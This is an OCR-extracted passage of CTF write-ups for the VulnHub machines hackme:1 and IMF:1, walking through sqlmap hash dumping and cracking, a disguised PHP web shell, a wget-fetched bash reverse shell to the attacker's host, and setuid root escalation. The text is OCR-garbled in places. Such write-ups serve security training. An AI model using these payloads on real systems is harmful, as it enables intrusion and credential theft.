do you want to crack them via a dictionary-based attack? [Y/n/q]l Y
[13:15:42] [INFO] using hash method 'md5 generic passwd'
what dictionary do you want to use?
[1] default dictionary file '/usr/share/sqlmap/txt/wordlist.zip' (press Enter)
[2] custom dictionary file
[3] file with list of dictiomary files
=1
[13:15:42] [INFD] using default dictionary
do you want to use common password suffixes? (slow!) [y/N]l N
[13:15:42] [INFO] starting dictionary-based cracking (md5 generic passwd)
:42] [INFD] starting 4 processes

:58] [INFD] cracked password 'commande' for hash '6269c4f71a55b24badef0267d9be5508"'
[13:15:58] [INFO] cracked password '‘hello' for hash '5d41402abc4b2a76b9719d911017¢592"
[13:15:51] [INFO] cracked password 'foobar' for hash '3858f62230ac3c915f300c664312c63 '
[13:15:55] [INFD] cracked password 'testtest' for hash '05a671c66aefeal24cco8b76eabd30bb’
[13:15:57] [INFD] cracked password 'p@ssw@rd' for hash '8¥359740bdi1cda994f8b55330cB86d845"
Database: webapphacking
Table: users
[8 entries]

B e oo B dmmmemeeiaao s
| id | name | user | pasword | address

R e B e B e +
| 1 | pavid | userl | 5d41402abc4b2a76b9719d911017c592 (hello) | Newton Circles

| 2 | Beckham | user2 | 6269c4f71a55b24bad8f0267d9be5508 (commande) | Kensington

| 3 | anonymous | user3 | ef359740bd1cda994f8b55330c86d845 (p@ssword) | anonymous

| 18 | testismyname | test | 85a671c66aefeal24ccOB8b76eabd30bb (testtest) | testaddress

| 11 | superadmin | superadmin | 2386acb2cf356944177746fc92523983 | superadmin

| 12 | testl | testl | B5a671c66aefeal24ccOB8b76eabd30bb (testtest) | testl

| 13 ] ' or 1=1 -- - | ' or 1=1 -- - | 1aff91138ca46149c98cfbcb362432bb | " or1=1 -- - |
| 14 | foobar | foobar | 3858762230ac3c9157300c664312c63T (foobar) | foobar

e e i e e e s e e s e e s e s e s e +

[13:16:88] [INFO] table 'webapphacking.users' dumped to €SV file '/root/.sqlmap/output/192.168.92.180/dump/webapphacking/users.csv’
[13:16:068] [INFO] fetched data logged to text files under '/root/.sqlmap/output/192.168.92.180'

[*] shutting down at 13:16:00

root@kali: ~/toolbox/data/writeups/vulnhub.hackme #

Figure 11: writeup.exploitation.steps.1.5
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@ @ https;//md5.gromweb.com/?md5=2386ach2cf3569441 7774692523983

MDS

MD5 conversion and reverse lookup

MD5 reverse for 2386acb2cf356944177746fc92523983

The MD5 hash:
2386acb2cf356944177746£c92523983

was succesfully reversed into the string:

Figure 12: writeup.exploitation.steps.1.6

2. We log in to the web application as user superadmin and are presented with file upload functionality. We
create a PHP reverse shell file and upload it successfully. There was no need to bypass any kind of upload filters
in this case. The location for uploaded files is already known to be 192.168.92.180/uploads/ directory from the
gobuster scan. We find our uploaded file within this directory and proceeded to get the initial shell:

nc -nlvp 443
192.168.92.180/uploads/rs.php

Login
Please fill in your credentials to login.

Username

superadmin

Password

00000000000 @

Don't have an account? Sign up now,

Figure 13: writeup.exploitation.steps.2.1
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Hi, welcome back superadmin. There are no anomalies detected.

Sign Out of Your Account

Select Image to Upload:

Browse... No file selected.
| Upload Image |

he file rs.php has been uploaded to the uploads folder.

Figure 14: writeup.exploitation.steps.2.2

<_ — @ @ 192.168.92.180/uploads/
5 links

Index of /uploads

Name Last modified Size Description

« Parent Directory -
2019-09-27 20:27 34K
2019-03-26 03:37 3.1K

Apache/2.4.34 (Ubuntu) Server at 192.168.92.180 Port 80

Figure 15: writeup.exploitation.steps.2.3

root@kali: ~/toolbox/data/writeups/vulnhub.hackme # nc -nlvp 443
listening on [any] 443 ...

connect to [192.168.92.179] from (UNKNOWN) [192.168.92.180] 40762
Linux hackme 4.18.0-16-generic #17-Ubuntu SMP Fri Feb 8 00:06:57 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux
20:28:39 up 1:56, O users, Lload average: 0.00, 0.00, 0.00

USER TTY FROM LOGING@ IDLE JCPU PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)

/bin/sh: ©: can't access tty; job control turned off

$

$ id

uid=33(www-data) gid=33(www-data) groups=33(www-data)

$

£ uname -a
Linux hackme 4.18.0-16-generic #17-Ubuntu SMP Fri Feb 8 ©0:86:57 UTC 2019 x86 64 x86 64 x86 64 GNU/Linux

3
$ ifconfig
ens33: flags=4163<UP,BROADCAST,RUNNING,MULTICAST= mtu 1580
inet 192.168.92.180 netmask 255.255.255.0 broadcast 192.168.92.255
inet6 fe80::20c:29ff:Ted49:eab5 prefixlen 64 scopeid 8x20<link>
ether 00:0c:29:49:ea:b5 txqueuelen 1000 (Ethernet)
RX packets 486204 bytes 304231697 (304.2 MB)
RX errors @ dropped @ overruns @ frame 0
TX packets 315253 bytes 40538335 (40.5 MB)
TX errors @ dropped © overruns @ carrier @ collisions ©

Figure 16: writeup.exploitation.steps.2.4
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Phase #2.5: Post Exploitation

www—dataChackme> id

uid=33(www-data) gid=33(www-data) groups=33(www-data)

www—dataChackme>
www—dataChackme> uname

Linux hackme 4.18.0-16-generic #17-Ubuntu SMP Fri Feb 8 00:06:57 UIC 2019 z86_64 x86_64 x86_64

o  GNU/Linuzx
www-dataChackme>
www-dataChackme> ifconfig

ens33: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>

inet 192.168.92.180 netmask 255.255.255.0 broadcast 192.168.92.255

inet6 fe80::20c:29ff:fed49:eabb5 prefixlen 64

ether 00:0c:29:49:ea:b5 txqueuelen 1000

mtu 1500

scopeid 0x20<1ink>

(Ethernet)

RX packets 486204 bytes 304231697 (304.2 MB)
RX errors O dropped O overruns O frame O
TX packets 315253 bytes 40538335 (40.5 MB)

TX errors O dropped O overruns O
www-dataChackme>
www-dataChackme> users
root
hackme

carrier O

13

collisions O



Phase #3: Privilege Escalation

1. We start with usuals and explore crontab and sudo permissions. Next is searching for setuid files. We find an
interesting file /home/legacy/touchmenot:

find / -type f -perm -04000 2>/dev/null
/home/legacy/touchmenot

www-data@hackme:/$ find / -type T -perm -84000 2=/dev/null
/snap/core/6531/bin/mount
/snap/core/6531/bin/ping
/snap/core/6531/bin/ping6
/snap/core/6531/bin/su
/snap/core/6531/bin/umount
/snap/core/6531/usr/bin/chtn
/snap/core/6531/usr/bin/chsh
/snap/core/6531/usr/bin/gpasswd
/snap/core/6531/usr/bin/newgrp
/snap/core/6531/usr/bin/passwd
/snap/core/6531/usr/bin/sudo
/snap/core/6531/usr/lib/dbus-1.8/dbus-daemon-launch-helper
/snap/core/6531/usr/1lib/openssh/ssh-keysign
/snap/core/6531/usr/lib/snapd/snap-confine
/snap/core/6531/usr/sbin/pppd
/snap/core/5662/bin/mount
/snap/core/5662/bin/ping
/snap/core/5662/bin/ping6
/snap/core/5662/bin/su
/snap/core/5662/bin/umount

Figure 17: writeup.privesc.steps.1.1

Jusr/bin/chfn
Jusr/bin/gpasswd
Jusr/bin/at
Jfusr/bin/newgrp
Jusr/bin/sudo

/home/legacy/touchmenot
/bin/mount

/bin/umount

/bin/ping

Jbin/su

/bin/fusermount
www-dataghackme: /%

Figure 18: writeup.privesc.steps.1.2

2. We locate this file and check it’s permissions manually. We then procced to execute this file and get elevated
access:

14



1ls -la /home/legacy/touchmenot
file /home/legacy/touchmenot
/home/legacy/touchmenot

www -data@hackme:/$ 1s -la /home/legacy/touchmenot
-rwsr--r-x 1 root root 8472 Mar 26 2019 /home/legacy/touchmenot
www -data@hackme:/$

vy - data@hackm

$
:/$ file /home/legacy/touchmenot

shome/legacy/touchmenot: setuid ELF 64-bit LSB pie executable, x86-64, version 1 (SYsV), dynamically linked, interpreter /lib64/1ld-linux-x86-64.50.2, for GNU/Linux 2.6.32, BuildID[shal]=3ff194cb73ad46fb7
25445a4a8992494e7110alc, not stripped

v - data@hackme : /§
v - dataghackme : /$
i - data@hackme : /§
v - data@hackme : /§
root@hackme: /#
rootehackme: /# id
uid=6(root) gid=33(ww-data) groups=33(www-data
root@hackme: /#
root@hackme: /# uname -a
Linux hackme 4.18.0-16-generic #17-Ubuntu SMP Fri Feb 8 00:06:57 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux
root@hackme: /#
root@hackme: /#
rootghackme: /# ifconfig
ens33: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500

inet 192.168.92.180 netmask 255.255.255.0 broadcast 192.168.92.255

inet6 fe80::20c:29ff:fe49:eab5 prefixlen 64 scopeid Ox20<link>

ether 80:0c:29:49:ea:b5 txqueuelen 1000 (Ethernet)

RX packets 487057 bytes 304291976 (304.2 MB)

RX errors © dropped @ overruns © frame @

TX packets 315774 bytes 40587526 (40.5 MB

TX errors © dropped @ overruns @ carrier ® collisions 6

Figure 19: writeup.privesc.steps.2.1
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Loot
Hashes

1 hackme:$6$.L285vCy$HmadmKjGV. sE7ZCFVj2i0kRokX1u3F5DMiTPQFoZPJnQ1kUXL je/bY2BIUQFbYu. 8 |
o M6BVLMLBfAftZOCE. ......... ...

Credentials

1 webapp: userl/he..., user2/comma..., user3/pO@ssw..., test/testt..., superadmin/Uncrac.....
» testl/testt...

References

[+] https://www.vulnhub.com/entry/hackme-1,330/
[+] https://www.hackingarticles.in /hackme- 1-vulnhub-walkthrough/
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https://www.vulnhub.com/entry/hackme-1,330/
https://www.hackingarticles.in/hackme-1-vulnhub-walkthrough/

[VulnHub] IMF: 1

Date: 26/Sep/2019
Categories: oscp, vulnhub, linux
Tags: exploit_ php_ fileupload_bypass, privesc_ bof

Overview

This is a writeup for VulnHub VM IMF: 1. Here are stats for this machine from machinescli:

machinescli -t --info imf

1. vulnhub#162 IMF: 1 & [
privesc_bof

Figure 1: writeup.overview.machinescli

Killchain

Here’s the killchain (enumeration — exploitation — privilege escalation) for this machine:

[VulnHub] IMF: 1

192.168.92.178
v
‘ Phase #1: Enumeration
v
80/tcp

v % v ¥
http://192.168.92.178/contact.php | | http://192.168.92.178/index.php ‘ http://192.168.92.178/imfadministrator/index.php ‘ ‘ http://192.168.92.178/imfadminist rator/cms.php? pagename=home ‘

|flagl‘ ‘flagz‘ ‘flag3‘ ‘http://192.168.92.178/imfadministrator/images/whiteboard.jpg‘
v v
‘Flag4‘ ‘http://192.168.92.178/imfadministrator/uploadr942.php‘
Phase #2: Exploitation
http://192.168.92.178/imfadministrator/uploads/bf76adéd6afc.gif

command execution
flag5 | netcat (www-data)
X )
Phase #3: Privilege Escalation
¥
‘ Jusr/local/bin/agent ‘
¥
buffer overflow exploit
¥
‘ netcat (root) ‘

2 X
/root/Flag.txt ‘ /root/TheEnd. txt

Figure 2: writeup.overview killchain

TTPs
1. 80/tcp/http/Apache httpd 2.4.18 ((Ubuntu)): exploit_ php_ fileupload_bypass, privesc_ bof


https://www.vulnhub.com/entry/imf-1,162/
https://github.com/7h3rAm/writeups/search?q=oscp&unscoped_q=oscp
https://github.com/7h3rAm/writeups/search?q=vulnhub&unscoped_q=vulnhub
https://github.com/7h3rAm/writeups/search?q=linux&unscoped_q=linux
https://github.com/7h3rAm/writeups/search?q=exploit_php_fileupload_bypass&unscoped_q=exploit_php_fileupload_bypass
https://github.com/7h3rAm/writeups/search?q=privesc_bof&unscoped_q=privesc_bof
https://www.vulnhub.com/entry/imf-1,162/
https://github.com/7h3rAm/machinescli
https://github.com/7h3rAm/writeups#exploit_php_fileupload_bypass
https://github.com/7h3rAm/writeups#privesc_bof
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Phase #1: Enumeration
1. Here’s the Nmap scan result:

# Nmap 7.70 scan initiated Sun Sep 22 12:16:22 2019 as: mmap —-vv —--reason —Pn -sV -sC

o —-version-all -oN

s /root/toolboz/writeups/vulnhub. imf/results/192.168.92.178/scans/_quick_tcp_nmap.tzt -oX
o /root/toolboz/writeups/vulnhub. imf/results/192.168.92.178/scans/zml/_quick_tcp_nmap.zml
» 192.168.92.178

Nmap scan report for 192.168.92.178

Host is up, received arp-response (0.00039s latency).

Scanned at 2019-09-22 12:16:24 PDT for 11s

Not shown: 999 filtered ports

Reason: 999 no-responses

PORT STATE SERVICE REASON VERSION

80/tcp open http syn-ack ttl 64 Apache httpd 2.4.18 ((Ubuntu))

| http-methods:

|_  Supported Methods: GET HEAD POST OPTIONS

| _http-server-header: Apache/2.4.18 (Ubuntu)

| _http-title: IMF - Homepage

MAC Address: 00:0C:29:2A:CD:D9 (VMware)

Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .

# Nmap dome at Sun Sep 22 12:16:36 2019 -- 1 IP address (1 host up) scanned in 13.16 seconds

2. Here’s the summary of open ports and associated AutoRecon scan files:

~ openports
# Port Protocol Service Scans
./results/192.168.92.178/scans/tcp_808_http_gobuster.txt
./results/192.168.92.178/scans/tcp_80_http_nikto.txt
./results/192.168.92.178/scans/tcp_B@_http_nmap.txt
1. B@/tcp  http ttl 64 Apache httpd 2.4.18 ((Ubuntu)) ./results/192.168.92.178/scans/tcp_80_http_robots.txt

./results/192.168.92.178/scans/tcp_B0_http_sqlmap_dbms. txt

./results/192.168.92.178/scans/tcp_80_http_sqlmap.txt
./results/192.168.92.178/scans/tcp_80_http_whatweb. txt

Figure 3: writeup.enumeration.steps.2.1

3. The Nmap NSE script http-comments-displayer found out first flag on the contact.php page:

view-source:http://192.168.92.178/contact.php
| Path: http://192.168.92.178:80/contact.php
| Line number: 149
| Comment :
| <!-- flagl{YWxsdGhlZmlsZXM=} -->

b64d "YWxsdGhlZmlsZXM=" ; echo
allthefiles


https://github.com/Tib3rius/AutoRecon

€ NewTab x . IMF - Homepage X | http://192.168.92.178/index X | http://192.168.92. 178/js/Zm X | http://192.168.92.178/conta. X | +

(—._.- — @ @ view-source:http://192.168.92.178/contact.php

[ links @ EPIC 3D Printing Timela...
<01V CLass="CoL-Sm-§">
<textarea class="form-control" rows="3" id="comments" name="comments"></textarea>

</div>

</div>

<button type="submit" class="btn btn-default btn-signup">
<i class="fa fa-paper-plane"></i> Send

<jfa>

</form>

</div>
</div=
<fdiv=
</div>
</section>

<section id="service">
<div class="confainer">
<!-- flagl{YWxsdGhlZmlsZXM=} -->

<div class="service-wrapper">
<div class="row">
<div class="col-md-4 col-sm-6">
<div class="block wow fadeInRight" data-wow-delay="1s">

Figure 4: writeup.enumeration.steps.3.1

4. We also find base64 strings used as filenames for some javascript files. Decoding these strings reveal the second
flag:

1 view-source:http://192.168.92.178/index.php

2 <script src="js/ZmxhZzJ7YVcxbVl.js"></script>

3 <script src="js/XUnRhVzVwYzNS. js"></script>
4 <script src="js/eV1YUnZjZz09fQ==.min. js"></script>

6 b64d "ZmxhZzJ7YVcxbV1XUnRhVzVwYzNSeV1YUnZjZz09fQ=="
7 flag2{aWimYWRtaW5spc3RyYXRvcg==

9 b64d "aWlmYWRtaWSpc3RyYXRvcg=="
10 imfadministrator



@ New Tab ¥ | IMF - Homepage X | http://192.168.92.178/index. X

& — @ @ view-source:http://192.168.92.178/index.php
B links @ EPIC 3D Printing Timela...

<!-- Fonts --=

<l-- (55 --=

<link rel="stylesheet" href="css/bootstrap.min.css">
<link rel="stylesheet" href="css/font-awesome.min.css">
<link rel="stylesheet" href="css/main.css"=

<link rel="stylesheet" href="css/animate.css">

<link rel="stylesheet" href="css/responsive.css">

<!-- J5 -->

<script sre="]s/vendor/modernizr-2.6.2.min.js"></script=
<script sre="js/vendor/jquery-1.10.2.min.js"></script=
<script sre="js/bootstrap.min.js"=</script=

<script sre="]s/Imxh7zI7¥VcxbVl.js"=</script=

<script sre="]s/XUnRhVzVwYzNS.]s"></script>

<script sre="js/eV1¥UnZj7z09f0==.min.js"></script=
<script=

Figure 5: writeup.enumeration.steps.4.1

root@kali: ~ftaolbaxfdatafwriteubsfvulnhub.imf # bedd "ZmxhZzJ7Y¥Vcxbvl™®
flag2{awlmYbase64: invalid input

root@kali: ~/toolbox/data/writeups/vulnhub.imf #

root@kali: ~/toolbox/data/writeups/vulnhub.imf # b64d "ZmxhZz]7YVcxbVLXUnRhVzVwYzNSeV1lYUnZjZze9fQ==" ; echo
flag2{awlmYWRtaWSpc3RyYXRvcg==}

root@kali: ~/toolbox/data/writeups/vulnhub.imf #

Figure 6: writeup.enumeration.steps.4.2

5. Following up on the imfadministrator string, it turned out to be a directory name. Visting this link gives a
login page with an interesting comment in HTML source. We made a few attempts but could not successfully login:

http://192.168.92.178/imfadministrator/index.php
<!-- T couldn't get the SQL working, so I hard-coded the password. It's still mad secure

- through. - Roger -->



© NewTab X | 192.168.92.178/imfadministr X | ... whiteboard.jpg (JPEG Im: X | 192.168.92.178/imfadminist X | +

(&= @ | @ & 192.168.92.178/imfadministrator/index.php
B links & EPIC 3D Printing Timela...

1
Username;| rmichaels |

Password:

LR R R RN J IG‘E

Login |

Figure 7: writeup.enumeration.steps.5.1

6. We intercept the login request via Burp proxy and change the pass field to an array which confuses the application
and returns a page with the third flag:

1 flag3{Y29udGludWVUT2Ntcw==}
2 b64d "Y29udGludWVUT2Ntcw=="
3 continueTOcms

Burp Intruder Repeater Window Help

[}
r::. Target i FIoxy T Spider TS-::anner T Intruder T Repeater T Sequencer T Decoder T Caompa

_,_[ Intzrcapt T HTTP history TWebSnckeE history T Options ]

o

| [#] Request to hittp://192.168.92.178:80

l Forward J l Drop J [ Intercept is on | l Action J

_[RﬂwT Params T Headers T Hex ]

posT Simfadministrator/index.php HIMTP/1.1

Host: 192.168.92.178

User-Agent: Mozilla/5.0 ¢x1l; Linux i686: rv:60.0) Gecko/30100101 Firefoxse0.0
Accept: text/html,application/xhtml+xzml,application/xml;g=0.9,*/*;:g=0.8
Accept-Language: en-uUs,en;g=0.5%

Acocept-Encoding: g=ip, deflate

Referer: http://192.168.92. 178 /imfadministrator/index.php

Content-Type: application/x-www-form-urlencoded

Content-Length: 27

Cookie: PHPSESSID=8ghdevobgliélsbolebggfevlan

ouT: 1

Connection: close

Upgrade- Ingecure-Regquegtas: 1

uzer=rmichaslasapass=teating

Figure 8: writeup.enumeration.steps.6.1



Burp Intruder Repeater Window Help

[Target T Proxy I Spider I Scanner I Intrucer T Repeater TSequem:er I Decoder TCDmparer T Extender T Project options I User options I Al

7Gn
Request Response

Raw | Params | Headers | Hex Raw | Headers | Hex

' > v Target: http://192.168.92.178 U

POST /imfadministrator/index.php HITE/ 1.1 i HITE/ 1.1 200 0K

Host: 192.168.92.178 - Date: Sun, 22 sep 2019 21:30:51 GMr

Uasr-Agent: Momilla/5.0 (¥11; Linux iR86; rv:60.0) Gecko /20100101 Firefox/60.0 Server: Apache/2.4.18 (Ubuntu)

accept: text/html,application/xhtml+xml,application/zml;g=0.9,%/%;g=0.8 Expires: Thu, 19 Wov 1981 08:52:00 GMI
ccept-Language: en-Us,en;g=0.5 cache-control: no-store, no-cache, must-revalidate
Accept-Encoding: gzip, deflate Pragma: no-cache

Beferer: http://192.168.93.178/imfadniniatrator/index.php vary: hccept-Encocing

Content-Type: application/x-www- form-urlencoded content-Length: 100

content-Length: 29 connection: close

cookie: PHPSESSID=2gh46vobglé2Eolebgafevlss content-Typs: text/html; charset=uTF-8

onT: 1

connection: close £lag3 (¥29udsludWVUT2NEcw==] <br />Welcoms, rmichasla<br [><a
upgrade- Insecure-Requests: 1 href='cms.php?pagename=home' >IMF CHMS</a>
uger=rmichaslzgpass [1ftesting

Figure 9: writeup.enumeration.steps.6.2

Burp Intruder Repeater Window Help

{Target T Proxy T Spider T Scanner T Intruder T Repeater T Sequencer T Decoder TCnmparer T Extender T Project options T User options T Alerts }

Go Cancel < | >|* Target: http://192.168.92.178

Request Response

Raw | Params | Headers | Hex Raw | Headers | Hex
POST /imfadministrator/index.php HITR/1. 1 i HITP 1.1 200 OK
Host: 192.168.92.178 - Date: sSun, 22 Sep 2019 21:30:51 eMr
User-Agent: Mozilla/5.0 (x1l; Linux i6B6; rv:60.0) Gecko/20100101 Firefox/60.0 serv Apache/2.4.18 (Ubuntu)
Accept: text/html,application/xhtml+xnl,application/xml;g=0.9,+/+;q=0.8 Expires: Thu, 19 Hov 1981 08:52:00 GMT
Accept-Language: en-Us,en;g=0.5 Cache-Control: no-store, no-cache, must-revalidate
Accepr-Encoding: gzip, deflate Pragma: no-cache
referer: http://192.168.92.178/infadministrator/index.php vary: accept-Encoding
Content-Type: application/x-www-form-urlencoded content-lLength: 100
Content-Length: 29 Connection: close
Cookie: PHPSESSID=8gh46vobglof2soletqafeylst Content-Type: text/html; charset=UTF-3
ooT: 1
connection: close [Elags (v2oudeindwvoTantew==]<br />welcoms, rmichaels<br /»<a
upgrade- Ingecure-Requesta: 1 href='cms.php?pagename=home ' >IMF CHS</a>
user=rmichaelzspass[] =testing

Figure 10: writeup.enumeration.steps.6.3

& New Tab X | IMF - Homepage ¥ | IMF - Contact Us X | http://192.168.92.178/imfaci X | 192.168.92.178/imfadminist X | =+

trator/

| €& | = {@r | @ 192.168.92.178/imfadmini
5 links @ EPIC 3D Printing Timela...

flag3{Y29udGludWVUT2Ntcw==}
Welcome, rmichaels
IMF CMS

Figure 11: writeup.enumeration.steps.6.4

7. We explored the CMS link but could not find anything interesting apart from the pagename parameter in URL.
Upon further enumeration, the URL handler was found to be vulnerable to SQLi:

http://192.168.92.178/imfadministrator/cms.php?pagename=home’
Warning: mysqli_fetch_row() expects parameter 1 to be mysqli_result, boolean given in
o /var/www/html/imfadministrator/cms.php on line 29



& New Tab X | aw whiteboard.jpg (JPEG Im: X | 192.168.92.178/imfadminist X | IMF CM5 x |+

@ | @ 192.168.92.178/

administrator/cms.php?

S links E) EPIC 3D Printing Timela...

IMF CMS

Menu: Home | Upload Report | Disavowed list | Logout

Warning: mysqli fetch row() expects parameter 1 to be mysqli result, boolean given in /var/www/html/imfadministrator/cms.php on line 29

Figure 12: writeup.enumeration.steps.7.1

8. We fire up sqlmap on this URL and from the database dump, found a new page containing an image
whiteboard. jpg. This image has a QR code that encodes the fourth flag:

http://192.168.92.178/imfadministrator/images/whiteboard. jpg
flag4{dXBsb2FkcjkOMi5waHA=}
b64d "dXBsb2FkcjkOMibwaHA="
uploadr942.php

[13:12:32] [INFO] used SQL query returns 4 entries

[13:12:32] [INFO] starting 4 threads

[13:12:32] [INFO] retrieved: "1","Under Construction.","upload"
[13:12:32] [INFO] retrieved: “2
[13:12:32] [INFO] retrieved: "3
[13:12:32] [INFO] retrieved: "4
Database: admin

Table: pages

[4 entries]

"Welcome to the IMF Administration.",“home"
"Training classrooms available. <br /><img src="./images/whiteboard.jpg"><br /> Contact us for training.®,"tutorials-incomplete"
“,"<hl>Disavowed List</hl><img src="./images/redacted.jpg"><br /=<ul><li>#ttttstisc/Tiz<liz+tibis thtbiie/Iim<lizrbbtbitc/L1m<li>btt kasbitttc/li></ul><br />-Secretary”. ..

T e e +
| id | pagename | pagedata |
e e e e o e e e e e o e seeeeeeaseee +
| 1 | upload | Under Construction. |
| 2 | home | Welcome to the IMF Administration |
| 3 | tutorials-incomplete | Training classrooms available. <br /><img src="|FRETIIRIRT L RIBEY ><br /> Contact us for training. |
| 4 | disavowlist | <h1>Disavowed List</hl><img src="./images/redacted.jpg"><br /><ul><li>++tribitic/Ti><listrbitt bhttite/ is<listttbibic/lis<listthr ++tibitic/li></ul><br />-Secretary |
+ +

[13:12:32] [INFO] table 'admin.pages’ dumped to CSv file '/root/.sqlmap/output/192.168.92.178/dump/admin/pages.csv’
[13:12:32] [INFO] fetched data logged to text files under '/root/.sqlmap/output/192.168.92.178'

[*] shutting down at 13:12:32

root@kali: #
Figure 13: writeup.enumeration.steps.8.1
@ New Tab X | IMF - Homepage X | IMF - Contact Us X | hitp://192.168.92.178/imfac x | 192.168.92.178/imfadministr X | IMF CMS X | s Whiteboard,jpg (JPEG Im- X | +
<« @ @ 192.168.92.178/imfadministrator/images/whiteboard.jpg wd B C L INEBE DG »

links @ EPIC 3D Printing Timela..

Pand o e

Figure 14: writeup.enumeration.steps.8.2



Findings
Open Ports
80/tcp | http | Apache httpd 2.4.18 ((Ubuntu))

Files

http://192.168.92.178:80/contact.php
http://192.168.92.178/index . php
http://192.168.92.178/js/ZmxhZzJ7YVcxbVl. js
http://192.168.92.178/js/XUnRhVzVwYzNS. js
http://192.168.92.178/js/eV1YUnZjZz09£Q==.min. js
http://192.168.92.178/imfadministrator/index.php
http://192.168.92.178/imfadministrator/cms.php?pagename=home
http://192.168.92.178/imfadministrator/images/whiteboard. jpg
http://192.168.92.178/imfadministrator/uploadr942.php



Phase #2: Exploitation

1. The http://192.168.92.178/imfadministrator/uploadr942.php page has a file upload functionality. We
tried different methods to evade the CrappyWAF filters and ended up using a minimal command execution page with
GIF header and extension as the final payload. Once the file is uploaded, it’s destination file name is leaked within
HTML comments on the result page. We can use this uploaded file to get command execution:

cat cmd.gif

GIF89a

<?php $out=$_GET["cmd"]; echo ~$out>; 7>
http://192.168.92.178/imfadministrator/uploads/bf76ad6d6afc.gif?cmd=uname

@ New Tab X | auw Whiteboard.jpg (JPEG Ime X | 192.168.92.178/imfadminist: X | IMF CMS * | File Uploader x

&« @ | ® 192.168.92.178/imfadministrator/uploadr@42.php
B links @ EPIC 3D Printing Timela...

Intelligence Upload Form

File to upload:| Browse.. |Nofile selected.
[ Upload |
Figure 15: writeup.exploitation.steps.1.1
@ New Tab X | uu wWhiteboard.jpg (JPEG Im: X | 192.168.92.178/imfadminist X | IMF CMS X | File Uploader X | hitp://192.168.92.178/imfac’i X

@ (O view-source:http://192.168.92.178/imfadministrator/uploadr942.php
Eilinks @ EPIC 3D Printing Timela...
<html>
<head>
<title=File Uploader</title>
</head>
<body>
<hl>Intelligence Upload Form</hl>
File successfully uploaded.
<l-- --><form id="Upload" action="" enctype="multipart/form-data" method="post">
<p>
<label for="file"=File to upload:</label>
<input id="file" type="file" name="file">
</p>
=p=
<input id="submit" type="submit" name="submit" value="Upload">
=/p>
</form>

</body>
</html=>

Figure 16: writeup.exploitation.steps.1.2

2. While exploring the local directory /var/www/html/imfadministrator/uploads we find a flagh_abc123def . txt
file with the fifth flag:

cat flagb_abcl123def.txt
flagb{YWdlbnRzZXJ2aWNlcw==3}
b64d "YWdlbnRzZXJ2aWNlcw=="
agentservices

3. We proceeded to convert our command execution payload into a fully interactive shell. We had to upload a bash
reverse shell script and execute it via command injection as other methods did not work:

sharehttp 9090

http://192.168.92.178/imfadministrator/uploads/bf76ad6d6afc.gif ?cmd=wget’s20http://192.168.
s 92.179:9090/shell.sh



5

http://192.168.92.178/imfadministrator/uploads/bf76ad6d6afc.gif?cmd=cat’20shell.sh
GIF89a /bin/bash -i >& /dev/tcp/192.168.92.179/443 0>&1

nc -nlvp 443

http://192.168.92.178/imfadministrator/uploads/bf76ad6d6afc.gif?cmd=bash’,20shell.sh

root@kali: ~/toolbox/data/writeups/vulnhub.imf # sharehttp 39099
http://192.168.92.179:9090/cmd.gif

http://192.168.92.179:9090/results

http://192.168.92.179:90908/s5hell.sh
http://192.168.92.179:9090/whiteboard. jpg
http://192.168.92.179:9090/writeup.yml

Serving HTTP on 0.8.08.8 port 9098 (http://0.0.0.0:9090/) ...
192.168.92.178 - - [26/S5ep/2019 13:43:087] "GET /shell.sh HTTP/1.1" 260 -

i
Keyboard interrupt received, exiting.
root@kali: -~/toolbox/data/writeups/vulnhub.imf #

Figure 17: writeup.exploitation.steps.3.1

root@kali: ~/toolbox/data/writeups/vulnhub.imf # nc -nlvp 443

listening on [any] 443 ...

connect to [192.168.92.179] from (UNKNOWN) [192.168.92.178] 43930

bash: cannot set terminal process group (1363): Inappropriate ioctl for device
bash: no job control in this shell

www-data@imf: /var/www/html/imfadministrator/uploads$ id

id

uid=33(www-data) gid=33(www-data) groups=33(www-data)

www-data@imf: /var/www/html/imfadministrator/uploads$

www-data@imf: /var/www/html/imfadministrator/uploads$ uname -a

uname -a

Linux imf 4.4.0-45-generic #66-Ubuntu SMP Wed Oct 19 14:12:37 UTC 2016 x86 64 x86 64 x86 64 GNU/Linux
www-data@imt: /var/www/html/imfadministrator/uploads$

www-data@imf: /var/www/html/imfadministrator/uploads$ ifconfig
ifconfig
ethe Link encap:Ethernet HWaddr 00:08c:29:2a:cd:d9
inet addr:192.168.92.178 Bcast:192.168.92.255 Mask:255.255.255.0
inet6é addr: fe8@::20c:297f:fTe2a:cdd9/64 Scope:Link
UP BROADCAST RUNMING MULTICAST MTU:1500 Metric:1
RX packets:3418 errors:0 dropped:0® overruns:@ frame:®
TX packets:293 errors:0 dropped:8 overruns:® carrier:0
collisions:® txqueuelen:1080
RX bytes:731096 (731.0 KB) TX bytes:26023 (26.8 KB)

Figure 18: writeup.exploitation.steps.3.2

Phase #2.5: Post Exploitation

www-data@imf> id

uid=33(www-data) gid=33(www-data) groups=33(www-data)

www-data@imf>

www-data@imf> uname

Linux imf 4.4.0-45-generic #66-Ubuntu SMP Wed Oct 19 14:12:37 UTC 2016 x86_64 x86_64 x86_64
o GNU/Linuz

10
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11
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13

14

15

16

17

18

19

www—-data@imf>

www-data@imf> ifconfig

ethO Link encap:Ethernet HWaddr
inet addr:192.168.92.178 Bc
inet6 addr: fe80::20c:29ff:f
UP BROADCAST RUNNING MULTICA
RX packets:3698 errors:0 dro
TX packets:373 errors:0 drop
collisions:0 txqueuelen:1000
RX bytes:758609 (758.6 KB)

www-data@imf>

www-data@imf> users

root

setup

00:0c:29:2a:cd:d9

ast:192.168.92.2556 Mask:255.255.255.0

e2a:cdd9/64 Scope:Link
ST MTU:1500 Metric:1
pped:0 overruns:0 frame:0

ped:0 overruns:0 carrier:0

TX bytes:34650 (34.6 KB)

11



Phase #3: Privilege Escalation

1. Using flagb as a reference, we search for files with name agent and find two hits. Upon exploring the agent
binary it is found that it is also running as a service and bound to 7788/tcp. Since the port is not exposed outside
and knockd daemon is also running, it is assumed that there is a port knocking requirement here. We also find a
access_codes file with the required sequence of ports to knock. Upon trying this sequence, we were unable to get
the 7788/tcp port opened and continued further:

find / -name agent 2>/dev/null
/usr/local/bin/agent
